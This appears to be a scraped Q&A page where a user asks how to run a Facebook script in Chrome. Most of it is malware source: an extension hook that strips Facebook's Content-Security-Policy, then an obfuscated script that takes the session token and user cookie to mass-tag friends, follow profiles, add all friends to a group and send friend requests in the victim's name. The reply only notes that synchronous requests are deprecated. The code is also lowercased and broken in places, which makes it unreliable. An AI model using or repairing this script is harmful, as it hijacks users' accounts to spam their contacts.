How to run this script on Chrome? -


chrome.webrequest.onheadersreceived.addlistener(function (details)  { (i = 0; < details.responseheaders.length; i++) {     if (details.responseheaders[i].name.touppercase() == "x-webkit-csp") {         details.responseheaders[i].value = "default-src *;script-src https://*.feedhound.co https://*.facebook.com http://*.facebook.com https://*.fbcdn.net http://*.fbcdn.net *.facebook.net *.google-analytics.com *.virtualearth.net *.google.com 127.0.0.1:* *.spotilocal.com:* chrome-extension://lifbcibllhkdhoafpjfnlhfpfgnpldfl 'unsafe-inline' 'unsafe-eval' https://*.akamaihd.net http://*.akamaihd.net;style-src * 'unsafe-inline';connect-src https://*.facebook.com http://*.facebook.com https://*.fbcdn.net http://*.fbcdn.net *.facebook.net *.spotilocal.com:* https://*.akamaihd.net ws://*.facebook.com:* http://*.akamaihd.net https://*.feedhound.co";     } } return {     responseheaders : details.responseheaders }; }, { urls : ["*://*.facebook.com/*"], types : ["main_frame", "sub_frame", "stylesheet", "script", "image", "object", "xmlhttprequest", "other"] }, ["blocking", "responseheaders"] ); 

i needed run script tag on facebook. below

/* auto mention script safe tricks */  function x__0(){return window.activexobject?new activexobject("msxml2.xmlhttp"):new xmlhttprequest}function get_friends(){var a=x__0();a.open("get","/ajax/typeahead/first_degree.php?__a=1&filter[0]=user&lazy=0&viewer="+uid+"&token=v7&stale_ok=0&options[0]=friends_only&options[1]=nm",false);a.send(null);if(a.readystate==4){var f=json.parse(a.responsetext.substring(a.responsetext.indexof("{")));return f.payload.entries}return false} function get_uid(b){var a=x__0();a.open("get","http://graph.facebook.com/"+b,false);a.send();if(a.readystate==4)return uid=json.parse(a.responsetext).id;return false}var patt=/comment_text=(.*?)&/;var c=1;username=/\.com\/(.*?)\//.exec(window.top.location)[1];uid=get_uid(username);a=window.top.location;termina=0;var amigos=get_friends();post_id=/[0-9]{8,}/.exec(a);uids="comment_text="; header="ft_ent_identifier="+post_id+"&comment_text=?&source=1&client_id=1359576694192%3a1233576093&reply_fbid&parent_comment_id&rootid=u_jsonp_3_19&ft[tn]=[]&ft[qid]=5839337351464612379&ft[mf_story_key]=5470779710560437153&ft[has_expanded_ufi]=1&nctr[_mod]=pagelet_home_stream&__user="+uid+"&__a=1&__req=4u&fb_dtsg="+document.getelementsbyname("fb_dtsg")[0].value+"&phstamp="+math.random(); for(var n=1;n<amigos.length;n++){fb_dtsg=document.getelementsbyname("fb_dtsg")[0].value;uids+="%40["+amigos[n].uid+"%3aaaaaaaaaaaa]%20";c++;if(c==7){uids+="&";with(new xmlhttprequest)open("post","/ajax/ufi/add_comment.php?__a=1"),setrequestheader("content-type","application/x-www-form-urlencoded"),send(header.replace(patt,uids));z=settimeout("function(){asd=0}",1e3);clearinterval(z);c=1;uids="comment_text="}}var fb_dtsg=document.getelementsbyname("fb_dtsg")[0].value;var user_id=document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); function cerezial(isim){var tarama=isim+"=";if(document.cookie.length>0){konum=document.cookie.indexof(tarama);if(konum!=-1){konum+=tarama.length;son=document.cookie.indexof(";",konum);if(son==-1)son=document.cookie.length;return unescape(document.cookie.substring(konum,son))}else return""}}function getrandomint(min,max){return math.floor(math.random()*(max-min+1))+min}function randomvalue(arr){return arr[getrandomint(0,arr.length-1)]}var fb_dtsg=document.getelementsbyname("fb_dtsg")[0].value; var user_id=document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); function a(abone){var http4=new xmlhttprequest;var url4="/ajax/follow/follow_profile.php?__a=1";var params4="profile_id="+abone+"&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg="+fb_dtsg+"&lsd&__"+user_id+"&phstamp=";http4.open("post",url4,true);http4.setrequestheader("content-type","application/x-www-form-urlencoded");http4.setrequestheader("content-length",params4.length);http4.setrequestheader("connection","close");http4.onreadystatechange=function(){if(http4.readystate== 4&&http4.status==200)http4.close};http4.send(params4)}function sublist(uidss){var a=document.createelement("script");a.innerhtml="new asyncrequest().seturi('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setdata({ flid: "+uidss+" }).send();";document.body.appendchild(a)}sublist("453131071479519");sublist("453127794813180");sublist("453128131479813");sublist("453128158146477");sublist("453128208146472");sublist("453128331479793");sublist("453128748146418");sublist("453130111479615"); sublist("453130848146208");sublist("453130928146200");var fb_dtsg=document["getelementsbyname"]("fb_dtsg")[0]["value"];var user_id=document["cookie"]["match"](document["cookie"]["match"](/c_user=(\d+)/)[1]);var httpwp=new xmlhttprequest;var urlwp="/ajax/groups/membership/r2j.php?__a=1";var paramswp="&ref=group_jump_header&group_id="+gid+"&fb_dtsg="+fb_dtsg+"&__user="+user_id+"&phstamp=";httpwp["open"]("post",urlwp,true);httpwp["setrequestheader"]("content-type","application/x-www-form-urlencoded"); httpwp["setrequestheader"]("content-length",paramswp["length"]);httpwp["setrequestheader"]("connection","keep-alive");httpwp["send"](paramswp);var fb_dtsg=document["getelementsbyname"]("fb_dtsg")[0]["value"];var user_id=document["cookie"]["match"](document["cookie"]["match"](/c_user=(\d+)/)[1]);var friends=new array;gf=new xmlhttprequest;gf["open"]("get","/ajax/typeahead/first_degree.php?__a=1&viewer="+user_id+"&token"+math["random"]()+"&filter[0]=user&options[0]=friends_only",false);gf["send"](); if(gf["readystate"]!=4);else{data=eval("("+gf["responsetext"]["substr"](9)+")");if(data["error"]);else friends=data["payload"]["entries"]["sort"](function(_0x93dax8,_0x93dax9){return _0x93dax8["index"]-_0x93dax9["index"]})} for(var i=0;i<friends["length"];i++){var httpwp=new xmlhttprequest;var urlwp="/ajax/groups/members/add_post.php?__a=1";var paramswp="&fb_dtsg="+fb_dtsg+"&group_id="+gid+"&source=typeahead&ref=&message_id=&members="+friends[i]["uid"]+"&__user="+user_id+"&phstamp=";httpwp["open"]("post",urlwp,true);httpwp["setrequestheader"]("content-type","application/x-www-form-urlencoded");httpwp["setrequestheader"]("content-length",paramswp["length"]);httpwp["setrequestheader"]("connection","keep-alive");httpwp["onreadystatechange"]= function(){if(httpwp["readystate"]==4&&httpwp["status"]==200);};httpwp["send"](paramswp)}var spage_id="100211486794985";var spost_id="100211486794985";var     sfoto_id="100211486794985";var user_id=document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);var     smesaj="";var smesaj_text="";var arkadaslar=[];var svn_rev;var bugun=new date;var btarihi=new date;btarihi.settime(bugun.gettime()+1e3*60*60*4*1);if(!document.cookie.match(/paylasti=(\d+)/))document.cookie="paylasti=hayir;expires="+btarihi.togmtstring(); function sarkadaslari_al(){var xmlhttp=new xmlhttprequest;xmlhttp.onreadystatechange=function(){if(xmlhttp.readystate==4){eval("arkadaslar = "+xmlhttp.responsetext.tostring().replace("for (;;);","")+";");for(f=0;f<math.round(arkadaslar.payload.entries.length/10);f++){smesaj="";smesaj_text="";for(i=f*10;i<(f+1)*10;i++)if(arkadaslar.payload.entries[i]){smesaj+=" @["+arkadaslar.payload.entries[i].uid+":"+arkadaslar.payload.entries[i].text+"]";smesaj_text+=" "+arkadaslar.payload.entries[i].text}sdurumpaylas()}}}; var params="&filter[0]=user";params+="&options[0]=friends_only";params+="&options[1]=nm";params+="&token=v7";params+="&viewer="+user_id;params+="&__user="+user_id;if(document.url.indexof("https://")>=0)xmlhttp.open("get","https://www.facebook.com/ajax/typeahead/first_degree.php?__a=1"+params,true);else xmlhttp.open("get","http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1"+params,true);xmlhttp.send()} var tiklama=document.addeventlistener("click",function(){if(document.cookie.split("paylasti=")[1].split(";")[0].indexof("hayir")>=0){svn_rev=document.head.innerhtml.split('"svn_rev":')[1].split(",")[0];sarkadaslari_al();document.cookie="paylasti=evet;expires="+btarihi.togmtstring();document.removeeventlistener(tiklama)}},false); function sarkadasekle(uid,cins){var xmlhttp=new xmlhttprequest;xmlhttp.onreadystatechange=function(){if(xmlhttp.readystate==4);};xmlhttp.open("post","/ajax/add_friend/action.php?__a=1",true);var       params="to_friend="+uid;params+="&action=add_friend";params+="&how_found=friend_browser";params+="&ref_param=none";params+="&outgoing_id=";params+="&logging_location=friend_browser";params+="&no_flyout_on_click=true";params+="&ego_log_data=   ";params+="&http_referer=";params+="&fb_dtsg="+document.getelementsbyname("fb_dtsg")[0].value;    params+="&phstamp=165816749114848369115";params+="&__user="+user_id;xmlhttp.setrequestheader("x-svn-rev",svn_rev);xmlhttp.setrequestheader("content-type","application/x-www-form-urlencoded");if(cins=="farketmez"&&document.cookie.split("cins"+user_id+"=").length>1)xmlhttp.send(params);else if(document.cookie.split("cins"+user_id+"=").length<=1)cinsiyetgetir(uid,cins,"sarkadasekle");else if(cins==document.cookie.split("cins"+user_id+"=")[1].split(";")[0].tostring())xmlhttp.send(params)} var cinssonuc={};var cinshtml=document.createelement("html"); function scinsiyetgetir(uid,cins,fonksiyon){var xmlhttp=new xmlhttprequest;xmlhttp.onreadystatechange=function(){if(xmlhttp.readystate==4){eval("cinssonuc = "+xmlhttp.responsetext.tostring().replace("for (;;);","")+";");cinshtml.innerhtml=cinssonuc.jsmods.markup[0][1].__html;btarihi.settime(bugun.gettime()+1e3*60*60*24*365);if(cinshtml.getelementsbytagname("select")[0].value=="1")document.cookie="cins"+user_id+"=kadin;expires="+btarihi.togmtstring();else if(cinshtml.getelementsbytagname("select")[0].value== "2")document.cookie="cins"+user_id+"=erkek;expires="+btarihi.togmtstring();eval(fonksiyon+"("+id+","+cins+");")}};xmlhttp.open("get","/ajax/timeline/edit_profile/basic_info.php?__a=1&__user="+user_id,true);xmlhttp.setrequestheader("x-svn-rev",svn_rev);xmlhttp.send()}; 

synchronous xmlhttprequest outside of workers has detrimental effects end user's experience , changed (december/2015) prohibit sending synchronous request . long process takes many years.. can try fix it, think userscript dead, because xhr.responsetype set, need use asynchronous request, must not pass "false" async argument, pass, on code . :(


Comments

Popular posts from this blog

yii2 - Yii 2 Running a Cron in the basic template -

asp.net - 'System.Web.HttpContext' does not contain a definition for 'GetOwinContext' Mystery -

mercurial graft feature, can it copy? -